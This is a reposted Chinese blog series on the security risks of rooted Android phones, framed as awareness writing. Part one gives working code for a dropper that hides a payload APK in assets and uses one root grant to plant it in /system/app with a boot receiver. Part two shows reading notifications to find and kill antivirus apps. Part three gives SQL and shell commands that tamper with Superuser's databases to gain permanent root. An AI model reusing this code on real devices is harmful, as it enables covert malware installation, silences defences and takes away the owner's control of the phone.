本帖转自:
前提:你有一部已经root的android手机,并且手机中有busybox和superuser
写本博客的原因是:有无数用户觉得root没有什么风险,或者风险不会降临到自己头上。这里告诉大家,其实风险就在身边!
1、Android手机Root安全风险篇章一
导读:本文介绍一种简单的病毒以及如何“防御”。
这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了,使用的技术也非常一般和普遍。
虽然大家都知道可以这样这样,但是还是随意下载软件,不加小心,就会掉入陷阱。
有些人觉得,只要我下载软件的时候检查软件所申请的权限就好了,其实没有那么简单。
我们来看看如果一个软件,获得了一次root权限,那么它可以作些什么呢?
好吧,我们先来一次“静默安装”!
原理很简单,基本上相当于把apk push到手机里面,两个选择
data/app
system/app
如果我是病毒软件,我肯定选择push到system/app
我们需要制作两个apk,一个是真正目的的(病毒,real.apk),另一个是假的壳子(fake.apk)
首先先制作real.apk,我们只是用来测试,所以这个apk没有什么实际内容(为了节省大家时间,real.apk已经上传)。
real.apk里有一个receiver,用来监听开机的广播
- android.intent.action.BOOT_COMPLETED
还有一个activity,没有什么实质内容,然后编译出apk,待用。
下面来制作壳子
新建一个android工程,将之前的real.apk复制到assets目录下
然后新建一个activity来测试
这个壳子的很简单,它只负责把真实的应用安装到用户手机中,我们再细分一下,首先,将文件assets/real.apk提取出来,放到自己的私有目录中,在本例子中的目录为data/data/com.example.fake/files,这一步是不需要任何权限的
- prepareButton.setOnClickListener(new View.OnClickListener() {
- public void onClick(View v) {
- File dataFolder = getFilesDir();
- File jar = new File(dataFolder.getAbsolutePath() + "/real.apk");
- copyFile("real.apk", jar, mResources);
- }
- });
其中copFile函数见附件(就是一个简单的io读写操作),这里只给出伪代码
- InputStream myInput = null;
- try
- myInput = resources.getAssets().open(filePath);
- ……
- catch
- ……
- finally
- ……
第一步已经完成了,下一步请求root权限,然后将real.apk恶意安装给用户。
这里需要使用到busybox,命令如下
- busybox mount -o remount,rw /system
- busybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apk
- busybox rm /data/data/com.example.fake/files/real.apk
之所以使用busybox,是因为手机里面可能没有mount、cp、rm等命令(我的手机里面就没有)
当然superuser需要同意你使用root权限
至此,你的入侵行为已经全部完成!
- installButton.setOnClickListener(new View.OnClickListener() {
- public void onClick(View v) {
- String packageName = getPackageName();
- String[] commands = {"busybox mount -o remount,rw /system",
- "busybox cp /data/data/" + packageName + "/files/real.apk /system/app/real.apk",
- "busybox rm /data/data/" + packageName + "/files/real.apk"};
- Process process = null;
- DataOutputStream dataOutputStream = null;
- try {
- process = Runtime.getRuntime().exec("su");
- dataOutputStream = new DataOutputStream(process.getOutputStream());
- int length = commands.length;
- for (int i = 0; i < length; i++) {
- Log.e(TAG, "commands[" + i + "]:" + commands[i]);
- dataOutputStream.writeBytes(commands[i] + "\n");
- }
- dataOutputStream.writeBytes("exit\n");
- dataOutputStream.flush();
- process.waitFor();
- } catch (Exception e) {
- Log.e(TAG, "copy fail", e);
- } finally {
- try {
- if (dataOutputStream != null) {
- dataOutputStream.close();
- }
- process.destroy();
- } catch (Exception e) {
- }
- }
- }
- });
- }
重启手机之后,real.apk就能工作了,它会接收到开机广播
如果你嵌入了更恶劣的代码,比如偷发短信,窃取邮件,那么用户也是很难察觉的
real.apk在settings中会显示在系统应用中,用户不太会怀疑,即使怀疑了,他们也不敢轻易卸载!谁让他们自己随意刷rom呢,每个rom集成的软件都不一样。
如何防御?!
我不知道如何防御,最简单的办法就是,解压你来路不明的apk文件,看看assets文件下有没有什么可疑文件。当然,病毒可能会去掉或者修改文件名的后缀!
我手机中安装了卡巴斯基免费版,很可惜,它没有查出病毒(即使你的real.apk嵌入更恶意的代码)
大家可以试试其他杀毒软件,比如……希望大家能给个反馈结果
2、Android手机Root安全风险篇章二
导读:本文介绍杀毒软件和病毒是如何获取通知栏上的所有通知,并且利用其信息杀死应用。
上一篇将过如何利用root权限来做一次静默安装,有的人会说,安装apk就安装呗,反正哥有金山手机卫士,哥有360主动防御……他们都会弹出通知告诉我的!
安装了新的应用,手机会发送广播,这些所谓的杀毒软件监听这些广播,然后弹出通知
好吧,我承认,他们在一定意义上还是有点用处的,我们先把这个问题放一放,先来说两句题外话
360和和金山手机卫士都有一个让广大android开发者比较蛋疼的一个功能:那就是检查广告通知!
当有通知栏有广告的时候,运行360执行检查,它会告诉你是哪个应用程序的广告(当然,这里并不局限于广告,他们是获得所有通知,然后过滤),然后他会让用户选择:不处理;关闭通知(实际上是把这个进程kill掉,整个软件停止运行);卸载此软件。
虽然我没有发布过android应用,但是我知道,靠软件赚钱的各位,本来收入已经够尴尬的了,再加上这些操蛋的软件提供这些操蛋的功能……哎
大家不喜欢收费软件那咱们就免费,点点广告支持一下总行吧,就是不点,你就放在那呗(当然,有的软件发起广告来没玩没了也挺操蛋)
说了这么多废话,我们就来看看那些所谓的杀毒软件是如何对付大家的
到了关键的地方,实际也就那么一行代码……又让大家失望了。。。
- adb shell dumpsys notification
比如,我现在在我机器上面执行一下,输出的结果为
- Current Notification Manager state:
- Notification List:
- NotificationRecord{41453c70 pkg=com.zdworks.android.toolbox id=7f090092 tag=null pri=0}
- icon=0x0 / <name unknown>
- contentIntent=null
- deleteIntent=null
- tickerText=null
- contentView=null
- defaults=0x0
- flags=0x62
- sound=null
- vibrate=null
- ledARGB=0x0 ledOnMS=0 ledOffMS=0
- NotificationRecord{415f48e8 pkg=com.zdworks.android.toolbox id=7f090080 tag=null pri=100}
- icon=0x7f0200fd / com.zdworks.android.toolbox:drawable/barttery_notify_icon
- contentIntent=PendingIntent{41949028: PendingIntentRecord{412e3c20 com.zdworks.android.toolbox startActivity}}
- deleteIntent=null
- tickerText=电量提示
- contentView=android.widget.RemoteViews@416e7b90
- defaults=0x0
- flags=0x22
- sound=null
- vibrate=null
- ledARGB=0x0 ledOnMS=0 ledOffMS=0
- NotificationRecord{416db3e0 pkg=android id=1040414 tag=null pri=100}
- icon=0x10804f5 / android:drawable/stat_sys_adb
- contentIntent=PendingIntent{41275de8: PendingIntentRecord{416dade8 android startActivity}}
- deleteIntent=null
- tickerText=USB 调试已连接
- contentView=android.widget.RemoteViews@416daf40
- defaults=0x0
- flags=0x2
- sound=null
- vibrate=null
- ledARGB=0x0 ledOnMS=0 ledOffMS=0
- NotificationRecord{41790de8 pkg=com.htc.android.psclient id=7f020010 tag=null pri=100}
- icon=0x7f020010 / com.htc.android.psclient:drawable/usb_to_pc_notify
- contentIntent=PendingIntent{416c3e38: PendingIntentRecord{417bc968 com.htc.android.psclient startActivity}}
- deleteIntent=null
- tickerText=null
- contentView=android.widget.RemoteViews@4169d128
- defaults=0x0
- flags=0x2
- sound=null
- vibrate=null
- ledARGB=0x0 ledOnMS=0 ledOffMS=0
- mSoundNotification=null
- mSound=com.android.server.NotificationPlayer@413e73b8
- mVibrateNotification=null
- mDisabledNotifications=0x0
- mSystemReady=true
现在大家知道了吧,这么简单就把咱们给搞定了
下面的事情就简单
1.想办法获取这段log
2.提取包名
3.根据数据库中的黑名单白名单不同处理
4.你的应用很可能在黑名单中,最后的结果也基本是进程被杀死
(这里就不演示3、4部分了,只演示1、2)
- testButton = (Button)findViewById(R.id.exec);
- testButton.setOnClickListener(new View.OnClickListener() {
- public void onClick(View v) {
- String[] commands = {"dumpsys notification"};
- Process process = null;
- DataOutputStream dataOutputStream = null;
- try {
- process = Runtime.getRuntime().exec("su");
- dataOutputStream = new DataOutputStream(process.getOutputStream());
- int length = commands.length;
- for (int i = 0; i < length; i++) {
- Log.e(TAG, "commands[" + i + "]:" + commands[i]);
- dataOutputStream.writeBytes(commands[i] + "\n");
- }
- dataOutputStream.writeBytes("exit\n");
- dataOutputStream.flush();
- process.waitFor();
- BufferedReader reader = null;
- reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
- String line = "";
- List<String> lineList = new ArrayList<String>();
- final StringBuilder log = new StringBuilder();
- String separator = System.getProperty("line.separator");
- Pattern pattern = Pattern.compile("pkg=[^\\s]+");
- while ((line = reader.readLine()) != null) {
- if(line != null && line.trim().startsWith("NotificationRecord")){
- Matcher matcher = pattern.matcher(line);
- if(matcher.find()){
- lineList.add(matcher.group());
- }else{
- Log.e(TAG, "what's this?!");
- }
- }
- log.append(line);
- log.append(separator);
- }
- Log.v(TAG, "log:" + log.toString());
- int size = lineList.size();
- for (int i = 0; i < size; i++) {
- Log.i(TAG, "app:" + lineList.get(i));
- }
- } catch (Exception e) {
- Log.e(TAG, "copy fail", e);
- } finally {
- try {
- if (dataOutputStream != null) {
- dataOutputStream.close();
- }
- process.destroy();
- } catch (Exception e) {
- }
- }
- Log.v(TAG, "finish");
- }
- });
- }
上面的这段代码实在没什么技术含量,让给位网友见笑了
按顺序简单解释一下
首先,我们先执行dumpsys notification这条命令,这在上一期的代码中已经有了
然后通过process.getInputStream()获得其输出按行读取,这里只关心类似于下面这种的log
- NotificationRecord{40dacad8 pkg=com.htc.android.psclient id=7f020010 tag=null pri=100}
然后从中提取出包名即可
其中的正则就是为了提取包名用的,想了解正则的同学可以看我的正则教程
这里我执行的结果为(看来有一个应用提示了两个通知)
- app:pkg=com.zdworks.android.toolbox
- app:pkg=com.zdworks.android.toolbox
- app:pkg=android
- app:pkg=com.htc.android.psclient
之后的工作就是把这个list展示给用户,让用户去选择了
既然360可以这样,病毒为什么不可以呢?病毒Fake.apk可以在半夜偷偷安装应用Real.apk,几秒钟后,Fake.apk执行上面的这些操作,获取360,然后kill!爽!
大家有兴趣可以反编译一下金山和360,他们基本就是这么干的,我发现360比较坏,至于为什么这么说,大家自己去发现吧
ps:我使用的是卡巴斯基免费版,杀毒软件是不会去管有没有广告推送的,广告不是病毒,杀毒软件也不应该干一些不该干的事!
请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!
3、Android手机Root安全风险篇章三
导读:本文介绍病毒如何篡改superuser,使得用户只是允许病毒请求的一次root权限变成允许病毒永久使用root权限。
继续之前两篇文章写,如果路过的同学有疑问,请先看前两篇
有同学说,你的Fake.apk需要把应用copy到system下才行,这是需要root权限的。如果用户允许了你一次root请求,你当着用户的面copy,那么copy之后,系统会发送广播,告知有新的apk被安装,杀毒软件就会发现你。
是的,这确实是个问题,但是病毒就是病毒,总会想办法让你病倒的,别急。
superuser把数据记录到数据库中,那病毒为什么不去修改你的数据库呢?如果修改成功,那么岂不是永久获得了root权限,以后再也用不着你来批准我了,我自己批准!
很不幸,病毒如果获得了一次root权限,那么上面所说的事情是完全可以做到的。
我们来演示一下,我手机中装有superuser,版本为3.0.7
我还装了一个re管理器
首先,我们打开re管理器,这时候re管理器请求使用root权限,superuser会弹出提示,询问用户是否允许
我们点击允许之前,勾选“记住”,然后允许。
这一步是为了获取:应用获得永久root权限时,应该在superuser数据库插入什么样的数据。
然后我们将数据库导出
/data/data/com.noshufou.android.su/databases下面有两个数据库我们需要关注
su.db
permissions.sqlite
我们以permissions.sqlite为例,下图为表结构:
然后来看看病毒应该如何修改数据
病毒只需要关心几个字段
uid,包名,应用名,exec_uid=0,exec_cmd=/system/bin/sh,allow=1
病毒如何获得自己的包名和应用名,这个大家没什么疑问吧
ActivityManager.RunningAppProcessInfo中含有uid的信息
下面的代码可以获得当前应用的uid
- public static int getUid(Context context,String packageName){
- ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
- List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses();
- int size = runningAppProcesses.size();
- ActivityManager.RunningAppProcessInfo runningAppProcessInfo = null;
- for (int i = 0; i < size; i++) {
- runningAppProcessInfo = runningAppProcesses.get(i);
- if(packageName.equals(runningAppProcessInfo.processName)){
- return runningAppProcessInfo.uid;
- }
- }
- return -1;
- }
好了,这个表已经搞定了,su.db和这个几乎一样,也就不再演示了。
最后的问题是,如何修改手机中的数据库,显然,我们使用sqlite3,但是有的手机居然没有这个问题,所以病毒很可能自己捆绑了一个,然后复制到system/bin或者system/xbin中
sqlite3从哪来?哪都有。。比如你可以从模拟器pull出来一份。
好了,全部搞定了
最终我们分两步
1准备sqlite3这个文件,以防万一
- prepareButton.setOnClickListener(new View.OnClickListener() {
- public void onClick(View v) {
- File dataFolder = getFilesDir();
- File sqlite = new File(dataFolder.getAbsolutePath() + "/sqlite3");
- copyFile("db/sqlite3", sqlite, mResources);
- }
- });
2申请root权限,一旦成功,那就修改数据库
- String sqlUpdateSu = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow,dirty)" +
- "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",0,\"/system/bin/sh\",1,0) ";
- String sqlInsertPermissions = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow) " +
- "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",\"0\",\"/system/bin/sh\",\"1\") ";
- String[] commands = {"busybox mount -o remount,rw /system"
- ,"ls /system/bin/sqlite3 || ls /system/xbin/sqlite3 || busybox cp /data/data/" + packageName + "/files/sqlite3 /system/xbin/sqlite3 && chmod 777 /system/xbin/sqlite3"
- ,"busybox rm /data/data/" + packageName + "/files/sqlite3"
- ,"sqlite3 /data/data/com.noshufou.android.su/databases/su.db '" + sqlUpdateSu + "'"
- ,"sqlite3 /data/data/com.noshufou.android.su/databases/permissions.sqlite '" + sqlInsertPermissions + "' "};
执行即可
从此,病毒就脱离你的掌控了,一发不可收拾
结语
由于本博客只是用于演示,所以有些不严密的地方。
比如:首次使用superuser之前,它的数据库的表可能还没有创建,所以有些sql操作可能会失败
我也不打算写个完整的病毒,这样一些人就会想着干一些不干净的事情。仅供学习交流
看来大家每次批准root之后,还要去superuser中的列表看看有没有什么异常才行
请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!
4、Android手机Root安全风险篇章四
导读: 本文介绍了如何实现禁止开机启动以及如何使应用失效。
希望大家不要制造各种流氓软件或病毒
这一期我们来关注以下某些优化软件的开机优化功能
禁止开机启动和禁止
很多软件都有开机优化功能,比如360,金山,海卓……
我觉得海卓页面还不错,所以就截一张海卓的图片吧
点击右边的小旗,会有一些选项,这里只说两个
开机启动
程序状态
在android 4.1(jelly bean)版本中,settings中查看应用信息的地方有一个disable按钮,
disable掉这个应用之后,在launcher列表中是查询不到的,也就是说,你无法启动这个应用了,也合理,但是如果你想enable就有些麻烦了。你得在settings中的应用列表中找到这个应用(一般出厂的手机,都有几十个应用,再加上自己安装的,应用数量很容易就100+了),然后再enable,这时候,launcher中就能再次看到这个应用了
(ps:还可以控制是否显示通知,这个功能估计大家都喜欢)
但是4.0及其之前的版本是没有disable这个功能的,但是如果root了手机,那么我们是可以实现这个功能的。
首选我们先看看手机中应用哪些是enabled的
- $ pm list package -e
- package:android
- package:cn.buding.coupon
- package:cn.buding.moviecoupon
- package:cn.chinabus.main
- package:cn.chinabus.metro.main
- package:cn.com.fetion
- ……
我看了一下我的手机,居然有249个enabled的程序,汗!
- $ pm list package -e | busybox wc -l
- 249
查看disabled的应用改下选项就可以了
- $ pm list package -d
我们先来看看pm都能做些什么
- pm list packages: prints all packages, optionally only
- those whose package name contains the text in FILTER. Options:
- -f: see their associated file.
- -d: filter to only show disbled packages.
- -e: filter to only show enabled packages.
- -s: filter to only show system packages.
- -3: filter to only show third party packages.
- -u: also include uninstalled packages.
- pm enable, disable, disable-user: these commands change the enabled state
- of a given package or component (written as "package/class").
这里只截取了一部分,详情请自行查看pm帮助
大家可以拿一个无关紧要的程序试试,disable再enable,看看launcher有什么变化(需要root权限,之前的查询是不需要root权限的) ,比如:
- pm disable cn.eoe.wiki
- pm enable cn.eoe.wiki
注:切换到root用户时,执行pm可能会出现段错误(android 4.0+)
- shell@android:/ # pm
- [1] + Stopped (signal) pm
- shell@android:/ # pm
- [2] + Stopped (signal) pm
- [1] - Segmentation fault pm
我们在执行pm之前,export一下LD_LIBRARY_PATH即可
- export LD_LIBRARY_PATH=/vendor/lib:/system/lib
我们可以查看一下这个变量
- echo $LD_LIBRARY_PATH
在我机器上面,普通用户是设置了这个变量的,切换到root的时候,这个变量就空了,所以需要重新export一下
第一个功能程序状态 讲解就结束了。
其实大多数人关心的是第二个功能开机启动 问题
首选,我们需要明确的是:我们需要知道哪些应用具有开机启动功能。
其实精确到应用还不可以,因为我们不是要把应用禁止掉,而是要把接收开机启动的Intent的receiver禁止掉,所以我们需要精确到class
首先我们来看看接收BOOT_COMPLETED的receiver在manifest中如何注册的
- <receiver android:name=".BootReceiver" android:enabled="true">
- <intent-filter>
- <action android:name="android.intent.action.BOOT_COMPLETED"/>
- </intent-filter>
- </receiver>
这里有一点是需要特别注意的: android:enabled="true"
enabled这个属性,大多数情况下我们是不显式写在这里的,当然,默认值就为true
禁止开机启动,其实就是设置接收BOOT_COMPLETED的receiver状态为disabled,即android:enabled="false"
首先要解决的就是如何获得所有接收BOOT_COMPLETED的receiver
开始我也搜索了一下,发现网上的很多方法都不可用,这里给大家说明一下:
错误方法1
- Intent intent = new Intent(Intent.ACTION_BOOT_COMPLETED);
- List<ResolveInfo> resolveInfoList = mPackageManager.queryBroadcastReceivers(intent, PackageManager.GET_RESOLVED_FILTER);
这里返回的list都是enabled的receiver
错误方法2
- List<ApplicationInfo> allAppsList = mPackageManager.getInstalledApplications(0);
- int allAppsListSize = allAppsList.size();
- for (int i = 0; i < allAppsListSize; i++) {
- ApplicationInfo applicationInfo = allAppsList.get(i);
- PackageInfo packageInfo = mPackageManager.getPackageInfo(applicationInfo.packageName, PackageManager.GET_RECEIVERS);
- ActivityInfo[] receivers = packageInfo.receivers;
- if(receivers != null) {
- ……
- }
- }
这里获得的也都是enable的
错误方法3
有的人使用下面代码片断
- if (PackageManager.PERMISSION_GRANTED == mPackageManager.checkPermission("android.permission.RECEIVE_BOOT_COMPLETED", app.packageName))
检查package干什么?!
其实android原生给我们提供了如何获得所有component的api(enabled+disabled)
int android.content.pm.PackageManager.GET_DISABLED_COMPONENTS = 512 [0x200]
PackageInfo flag: include disabled components in the returned info.
这样,我们使用如下代码就可以了
- Intent intent = new Intent(Intent.ACTION_BOOT_COMPLETED);
- List<ResolveInfo> resolveInfoList = mPackageManager.queryBroadcastReceivers(intent, PackageManager.GET_DISABLED_COMPONENTS);
然后我们需要知道组件的状态,disabled还是enabled
- ComponentName mComponentName = new ComponentName(resolveInfo.activityInfo.packageName, resolveInfo.activityInfo.name);
- Log.d(TAG, "COMPONENT_ENABLED_STATE:" + mPackageManager.getComponentEnabledSetting(mComponentName) + "\tpackageName:" + resolveInfo.activityInfo.packageName);
接下来的事情就简单了,如果你想禁止包名为package的应用开机启动,那么只需在上面list中,找到所有此包下的receiver,然后
- pm disable package/class
- pm enable package/class
即可
我们需要关注下面几个COMPONENT_ENABLED_STATE
Since: API Level 1
Flag for setApplicationEnabledSetting(String, int, int) and setComponentEnabledSetting(ComponentName, int, int): This component or application is in its default enabled state (as specified in its manifest).
Constant Value: 0 (0x00000000)
public static final int COMPONENT_ENABLED_STATE_DISABLED
Since: API Level 1
Flag for setApplicationEnabledSetting(String, int, int) and setComponentEnabledSetting(ComponentName, int, int): This component or application has been explicitly disabled, regardless of what it has specified in its manifest.
Constant Value: 2 (0x00000002)
public static final int COMPONENT_ENABLED_STATE_DISABLED_USER
Since: API Level 14
Flag for setApplicationEnabledSetting(String, int, int) only: The user has explicitly disabled the application, regardless of what it has specified in its manifest. Because this is due to the user's request, they may re-enable it if desired through the appropriate system UI. This option currently can not be used with setComponentEnabledSetting(ComponentName, int, int).
Constant Value: 3 (0x00000003)
public static final int COMPONENT_ENABLED_STATE_ENABLED
Since: API Level 1
Flag for setApplicationEnabledSetting(String, int, int) and setComponentEnabledSetting(ComponentName, int, int): This component or application has been explictily enabled, regardless of what it has specified in its manifest.
Constant Value: 1 (0x00000001)
public static final int DONT_KILL_APP
Since: API Level 1
Flag parameter for setComponentEnabledSetting(android.content.ComponentName, int, int) to indicate that you don't want to kill the app containing the component. Be careful when you set this since changing component states can make the containing application's behavior unpredictable.
Constant Value: 1 (0x00000001)
如果是自己应用中想disable或者enable自己的组件,那么是不需要任何权限的,当然不能使用pm命令
在原生email(4.0)应用中,旧有此功能,我们来看看email的代码
void com.android.email.service.EmailBroadcastProcessorService.setComponentEnabled(Class<?> clazz, boolean enabled)
- private void setComponentEnabled(Class<?> clazz, boolean enabled) {
- final ComponentName c = new ComponentName(this, clazz.getName());
- getPackageManager().setComponentEnabledSetting(c,
- enabled ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED
- : PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
- PackageManager.DONT_KILL_APP);
- }
void com.android.email.Email.setServicesEnabled(Context context, boolean enabled)方法中也有参考代码
至此,开机启动、禁用程序 就全部讲解完了。
我们发现,海卓这个应用居然有这么多变态功能,居然可以禁止所有事件。。。这是不是过分了点,不过程序的原理应该都在我这篇博客之中了,我不太希望有禁止所有事件这种功能,那还不如把这个app删掉呢,何必折磨它呢?!
请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!